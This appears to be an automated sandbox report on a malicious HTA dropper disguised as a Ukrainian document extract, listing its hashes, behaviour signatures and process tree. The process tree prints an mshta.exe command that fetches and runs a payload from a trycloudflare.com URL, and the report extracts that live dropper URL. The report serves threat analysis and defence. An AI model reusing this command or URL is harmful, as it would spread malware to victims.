Analysis

  • max time kernel
    92s
  • max time network
    123s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/09/2024, 18:00

General

  • Target

    Витяг_22024160000000100_20.09.2024/Витяг_22024160000000100_20.09.2024_15-40-26.hta

  • Size

    459B

  • MD5

    9e337738f01d162a4452a50373f05988

  • SHA1

    717a6ad391cdd5eacfff3f660694e46da7c3ba09

  • SHA256

    1f0199ae51bf11ab82ed536b15c97b16a29814bf63705fcbf60764da77507871

  • SHA512

    ae3188f7c2b50607af4c8d47437642b2903b654cc8547aac5c6ca904fe5d29b017cff77a2770923e791597a46eaee8bdad2d10c79f11047c310f7d9d7ca1111c

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://hydraulic-nights-adds-substance.trycloudflare.com/SsU/instructor/precisely.rar

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Витяг_22024160000000100_20.09.2024\Витяг_22024160000000100_20.09.2024_15-40-26.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:948
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\system32\mshta.exe" https://hydraulic-nights-adds-substance.trycloudflare.com/SsU/instructor/precisely.rar
      2⤵
      • Blocklisted process makes network request
      • System Location Discovery: System Language Discovery
      PID:4940

Network

MITRE ATT&CK Enterprise v15

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Downloads